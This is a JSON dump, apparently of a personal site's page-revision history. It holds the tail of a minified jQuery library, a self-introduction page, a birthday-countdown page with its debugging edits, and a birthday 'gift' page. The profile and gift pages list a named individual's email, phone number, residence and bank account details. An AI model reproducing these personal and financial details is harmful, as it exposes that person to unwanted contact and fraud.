c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||\"abort\",p\u0026\u0026p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s\u003c2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+\"\").replace(bG,\"\").replace(bL,bW[1]+\"//\"),d.dataTypes=f.trim(d.dataType||\"*\").toLowerCase().split(bP),d.crossDomain==null\u0026\u0026(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]\u0026\u0026r[2]==bW[2]\u0026\u0026(r[3]||(r[1]===\"http:\"?80:443))==(bW[3]||(bW[1]===\"http:\"?80:443)))),d.data\u0026\u0026d.processData\u0026\u0026typeof d.data!=\"string\"\u0026\u0026(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t\u0026\u0026f.active++===0\u0026\u0026f.event.trigger(\"ajaxStart\");if(!d.hasContent){d.data\u0026\u0026(d.url+=(bM.test(d.url)?\"\u0026\":\"?\")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,\"$1_=\"+x);d.url=y+(y===d.url?(bM.test(d.url)?\"\u0026\":\"?\")+\"_=\"+x:\"\")}}(d.data\u0026\u0026d.hasContent\u0026\u0026d.contentType!==!1||c.contentType)\u0026\u0026v.setRequestHeader(\"Content-Type\",d.contentType),d.ifModified\u0026\u0026(k=k||d.url,f.lastModified[k]\u0026\u0026v.setRequestHeader(\"If-Modified-Since\",f.lastModified[k]),f.etag[k]\u0026\u0026v.setRequestHeader(\"If-None-Match\",f.etag[k])),v.setRequestHeader(\"Accept\",d.dataTypes[0]\u0026\u0026d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!==\"*\"?\", \"+bX+\"; q=0.01\":\"\"):d.accepts[\"*\"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend\u0026\u0026(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,\"No Transport\");else{v.readyState=1,t\u0026\u0026g.trigger(\"ajaxSend\",[v,d]),d.async\u0026\u0026d.timeout\u003e0\u0026\u0026(q=setTimeout(function(){v.abort(\"timeout\")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s\u003c2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery\u0026\u0026!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join(\"\u0026\").replace(bD,\"+\")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\\=)\\?(\u0026|$)|\\?\\?/i;f.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){return f.expando+\"_\"+cd++}}),f.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e=b.contentType===\"application/x-www-form-urlencoded\"\u0026\u0026typeof b.data==\"string\";if(b.dataTypes[0]===\"jsonp\"||b.jsonp!==!1\u0026\u0026(ce.test(b.url)||e\u0026\u0026ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l=\"$1\"+h+\"$2\";b.jsonp!==!1\u0026\u0026(j=j.replace(ce,l),b.url===j\u0026\u0026(e\u0026\u0026(k=k.replace(ce,l)),b.data===k\u0026\u0026(j+=(/\\?/.test(j)?\"\u0026\":\"?\")+b.jsonp+\"=\"+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g\u0026\u0026f.isFunction(i)\u0026\u0026a[h](g[0])}),b.converters[\"script json\"]=function(){g||f.error(h+\" was not called\");return g[0]},b.dataTypes[0]=\"json\";return\"script\"}}),f.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),f.ajaxTransport(\"script\",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName(\"head\")[0]||c.documentElement;return{send:function(f,g){d=c.createElement(\"script\"),d.async=\"async\",a.scriptCharset\u0026\u0026(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e\u0026\u0026d.parentNode\u0026\u0026e.removeChild(d),d=b,c||g(200,\"success\")},e.insertBefore(d,e.firstChild)},abort:function(){d\u0026\u0026d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(f.ajaxSettings.xhr()),f.support.ajax\u0026\u0026f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d\u0026\u0026(e||h.readyState===4)){d=b,i\u0026\u0026(h.onreadystatechange=f.noop,cf\u0026\u0026delete ch[i]);if(e)h.readyState!==4\u0026\u0026h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n\u0026\u0026n.documentElement\u0026\u0026(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=\"\"}!j\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?j=m.text?200:404:j===1223\u0026\u0026(j=204)}}}catch(p){e||g(-1,p)}m\u0026\u0026g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf\u0026\u0026(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d\u0026\u0026d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,cp,cq=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu(\"show\",3),a,b,c);for(var g=0,h=this.length;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=d.style.display,!f._data(d,\"olddisplay\")\u0026\u0026e===\"none\"\u0026\u0026(e=d.style.display=\"\"),e===\"\"\u0026\u0026f.css(d,\"display\")===\"none\"\u0026\u0026f._data(d,\"olddisplay\",cv(d.nodeName)));for(g=0;g\u003ch;g++){d=this[g];if(d.style){e=d.style.display;if(e===\"\"||e===\"none\")d.style.display=f._data(d,\"olddisplay\")||\"\"}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cu(\"hide\",3),a,b,c);var d,e,g=0,h=this.length;for(;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=f.css(d,\"display\"),e!==\"none\"\u0026\u0026!f._data(d,\"olddisplay\")\u0026\u0026f._data(d,\"olddisplay\",e));for(g=0;g\u003ch;g++)this[g].style\u0026\u0026(this[g].style.display=\"none\");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a==\"boolean\";f.isFunction(a)\u0026\u0026f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(\":hidden\");f(this)[b?\"show\":\"hide\"]()}):this.animate(cu(\"toggle\",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1\u0026\u0026f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c\u0026\u0026f(this).is(\":hidden\"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g\u0026\u0026(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing\u0026\u0026b.specialEasing[g]||b.easing||\"swing\";if(h===\"hide\"\u0026\u0026d||h===\"show\"\u0026\u0026!d)return b.complete.call(this);c\u0026\u0026(g===\"height\"||g===\"width\")\u0026\u0026(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,\"display\")===\"inline\"\u0026\u0026f.css(this,\"float\")===\"none\"\u0026\u0026(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)===\"inline\"?this.style.display=\"inline-block\":this.style.zoom=1))}b.overflow!=null\u0026\u0026(this.style.overflow=\"hidden\");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,\"toggle\"+i)||(h===\"toggle\"?d?\"show\":\"hide\":0),o?(f._data(this,\"toggle\"+i,o===\"show\"?\"hide\":\"show\"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?\"\":\"px\"),n!==\"px\"\u0026\u0026(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]\u0026\u0026(m=(k[1]===\"-=\"?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,\"\"));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!=\"string\"\u0026\u0026(d=c,c=a,a=b),c\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]\u0026\u0026g[b].stop\u0026\u0026b.indexOf(\".run\")===b.length-4\u0026\u0026h(this,g,b);else g[b=a+\".run\"]\u0026\u0026g[b].stop\u0026\u0026h(this,g,b);for(b=e.length;b--;)e[b].elem===this\u0026\u0026(a==null||e[b].queue===a)\u0026\u0026(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)\u0026\u0026f.dequeue(this,a)})}}),f.each({slideDown:cu(\"show\",1),slideUp:cu(\"hide\",1),slideToggle:cu(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?f.extend({},a):{complete:c||!c\u0026\u0026b||f.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!f.isFunction(b)\u0026\u0026b};d.duration=f.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue=\"fx\";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1\u0026\u0026f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null\u0026\u0026(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b===\"auto\"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?\"\":\"px\"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop)===b\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop,e.start)},h()\u0026\u0026f.timers.push(h)\u0026\u0026!cp\u0026\u0026(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,\"fxshow\"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,\"fxshow\"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e\u003e=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0\u0026\u0026(g=!1);if(g){i.overflow!=null\u0026\u0026!f.support.shrinkWrapBlocks\u0026\u0026f.each([\"\",\"X\",\"Y\"],function(a,b){h.style[\"overflow\"+b]=i.overflow[a]}),i.hide\u0026\u0026f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,\"fxshow\"+b,!0),f.removeData(h,\"toggle\"+b,!0);d=i.complete,d\u0026\u0026(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c\u003cb.length;c++)a=b[c],!a()\u0026\u0026b[c]===a\u0026\u0026b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,\"opacity\",a.now)},_default:function(a){a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each([\"width\",\"height\"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;\"getBoundingClientRect\"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel\u0026\u0026g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel\u0026\u0026g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)\u0026\u0026b!==i\u0026\u0026b!==h){if(f.support.fixedPosition\u0026\u0026k.position===\"fixed\")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d\u0026\u0026(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder\u0026\u0026(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible\u0026\u0026c.overflow!==\"visible\"\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position===\"relative\"||k.position===\"static\")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition\u0026\u0026k.position===\"fixed\"\u0026\u0026(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(f.css(a,\"marginTop\"))||0,c+=parseFloat(f.css(a,\"marginLeft\"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=f(a),g=e.offset(),h=f.css(a,\"top\"),i=f.css(a,\"left\"),j=(d===\"absolute\"||d===\"fixed\")\u0026\u0026f.inArray(\"auto\",[h,i])\u003e-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)\u0026\u0026(b=b.call(a,c,g)),b.top!=null\u0026\u0026(k.top=b.top-g.top+m),b.left!=null\u0026\u0026(k.left=b.left-g.left+n),\"using\"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,\"marginTop\"))||0,c.left-=parseFloat(f.css(a,\"marginLeft\"))||0,d.top+=parseFloat(f.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(f.css(b[0],\"borderLeftWidth\"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a\u0026\u0026!cx.test(a.nodeName)\u0026\u0026f.css(a,\"position\")===\"static\")a=a.offsetParent;return a})}}),f.each([\"Left\",\"Top\"],function(a,c){var d=\"scroll\"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?\"pageXOffset\"in g?g[a?\"pageYOffset\":\"pageXOffset\"]:f.support.boxModel\u0026\u0026g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each([\"Height\",\"Width\"],function(a,c){var d=c.toLowerCase();f.fn[\"inner\"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,\"padding\")):this[d]():null},f.fn[\"outer\"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?\"margin\":\"border\")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement[\"client\"+c],h=e.document.body;return e.document.compatMode===\"CSS1Compat\"\u0026\u0026g||h\u0026\u0026h[\"client\"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement[\"client\"+c],e.body[\"scroll\"+c],e.documentElement[\"scroll\"+c],e.body[\"offset\"+c],e.documentElement[\"offset\"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a==\"string\"?a:a+\"px\")}}),a.jQuery=a.$=f,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return f})})(window);","created_at":"2011-11-22T09:14:44.000Z","updated_at":"2011-11-22T09:14:44.000Z"},{"id":1946,"name":"index","body":"\u003cspan class=\"h1\"\u003essig33.com\u003c/span\u003e\r\n\r\n\u003cspan class=\"h2\"\u003e Contents \u0026 Service\u003c/span\u003e\r\n\r\n[Text](http://text.ssig33.com) \r\n\r\n[Photo Stream](http://photo.ssig33.com/)\r\n\r\n[Activity](/activity)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n# Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 80 4134 9835 \r\n**Living at:** [Geekhouse Shinjuku-WEST](http://twitter.com/#!/ssig33/status/24135533680664576) \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** ssig33 \r\n**Job :** Scinario Writer, Software Engineer, Game Planner \r\n**Face :** \r\n![img](http://ssig33.com/data/6cd997decc7a4113e451529c7662137b.png)\r\n\r\n# Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Cucumber\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN) \r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e","created_at":"2011-11-22T09:16:09.000Z","updated_at":"2011-11-22T09:16:09.000Z"},{"id":1947,"name":"kure.ssig33.com","body":"title くれ\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\nssig33 の誕生日まで\u003cspan id='ato'\u003e日しかありません\r\n\u003cscript\u003e\r\n today = new Date();\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = birth - today;\r\n if(count \u003e 0){\r\n } else if (count == 0){\r\n $(\"#ato\").text(count);\r\n } else {\r\n }\r\n\u003c/script\u003e","created_at":"2011-12-01T15:26:33.000Z","updated_at":"2011-12-01T15:26:33.000Z"},{"id":1948,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n today = new Date();\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = birth - today;\r\n if(count \u003e 0){\r\n } else if (count == 0){\r\n $(\"#ato\").text(count);\r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:27:57.000Z","updated_at":"2011-12-01T15:27:57.000Z"},{"id":1949,"name":"kure.ssig33.com","body":"title くれ\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\nssig33 の誕生日まで\u003cspan id='ato'\u003e日しかありません\r\n\u003cscript src='http://ssig33.com/js/kure.js'/\u003e\r\n","created_at":"2011-12-01T15:28:14.000Z","updated_at":"2011-12-01T15:28:14.000Z"},{"id":1950,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n today = new Date();\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = birth - today;\r\n console.log(count)\r\n if(count \u003e 0){\r\n } else if (count == 0){\r\n $(\"#ato\").text(count);\r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:28:36.000Z","updated_at":"2011-12-01T15:28:36.000Z"},{"id":1951,"name":"kure.ssig33.com","body":"title くれ\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\nssig33 の誕生日まで\u003cspan id='ato'/\u003e日しかありません\r\n\u003cscript src='http://ssig33.com/js/kure.js'/\u003e","created_at":"2011-12-01T15:29:09.000Z","updated_at":"2011-12-01T15:29:09.000Z"},{"id":1952,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n today = new Date();\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = birth - today;\r\n console.log(count)\r\n if(count \u003e 0){\r\n $(\"#ato\").text(count);\r\n } else if (count == 0){\r\n \r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:29:35.000Z","updated_at":"2011-12-01T15:29:35.000Z"},{"id":1953,"name":"kure.ssig33.com","body":"title くれ\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\nssig33 の誕生日まで\u003cspan id='ato'\u003e\u003c/span\u003e日しかありません\r\n\u003cscript src='http://ssig33.com/js/kure.js'/\u003e","created_at":"2011-12-01T15:29:53.000Z","updated_at":"2011-12-01T15:29:53.000Z"},{"id":1954,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n tmp = new Date();\r\n today = new Date(tmp.getFullYear(), tmp.getMonth(), tmp.getDate());\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = birth - today;\r\n console.log(count)\r\n if(count \u003e 0){\r\n $(\"#ato\").text(count);\r\n } else if (count == 0){\r\n \r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:32:02.000Z","updated_at":"2011-12-01T15:32:02.000Z"},{"id":1955,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n tmp = new Date();\r\n today = new Date(tmp.getFullYear(), tmp.getMonth(), tmp.getDate());\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = (birth - today) / (100*24*60*60);\r\n console.log(count)\r\n if(count \u003e 0){\r\n $(\"#ato\").text(count);\r\n } else if (count == 0){\r\n \r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:32:25.000Z","updated_at":"2011-12-01T15:32:25.000Z"},{"id":1956,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n tmp = new Date();\r\n today = new Date(tmp.getFullYear(), tmp.getMonth(), tmp.getDate());\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = (birth - today) / (1000*24*60*60);\r\n console.log(count)\r\n if(count \u003e 0){\r\n $(\"#ato\").text(count);\r\n } else if (count == 0){\r\n \r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:32:38.000Z","updated_at":"2011-12-01T15:32:38.000Z"},{"id":1957,"name":"js/kure.js","body":"raw\r\nmime js\r\n$(function(){\r\n tmp = new Date();\r\n today = new Date(tmp.getFullYear(), tmp.getMonth(), tmp.getDate());\r\n console.log(today)\r\n birth = new Date(today.getFullYear(), 12, 15);\r\n count = (birth - today) / (1000*24*60*60);\r\n console.log(count)\r\n if(count \u003e 0){\r\n $(\"#ato\").text(count);\r\n } else if (count == 0){\r\n \r\n } else {\r\n }\r\n})","created_at":"2011-12-01T15:32:54.000Z","updated_at":"2011-12-01T15:32:54.000Z"},{"id":1958,"name":"kure.ssig33.com","body":"title くれ\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n##はてなポイントくれ\r\n[id:ssig33](http://www.hatena.ne.jp/sendpoint?name=ssig33) にくれ\r\n\r\n##チョコレートを手渡しなどでくれ\r\nチョコレートが\u003cspan style=\"font-size:x-large\"\u003e大好き\u003c/span\u003eです\r\n\r\n##[Amazon ウィッシュリスト](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でなんかくれ","created_at":"2011-12-01T15:38:55.000Z","updated_at":"2011-12-01T15:38:55.000Z"},{"id":1959,"name":"kure.ssig33.com","body":"title くれ\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n##はてなポイントくれ\r\n[id:ssig33](http://www.hatena.ne.jp/sendpoint?name=ssig33) にくれ\r\n\r\n##チョコレートを手渡しなどでくれ\r\nチョコレートが\u003cspan style=\"font-size:x-large\"\u003e\u003cb\u003e大好き\u003c/b\u003e\u003c/span\u003eです\r\n\r\n##[Amazon ウィッシュリスト](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でなんかくれ","created_at":"2011-12-01T15:39:09.000Z","updated_at":"2011-12-01T15:39:09.000Z"},{"id":1960,"name":"kure.ssig33.com","body":"title 誕生日だしなんかくれ!!!\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\n# なんかくれ!!!\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 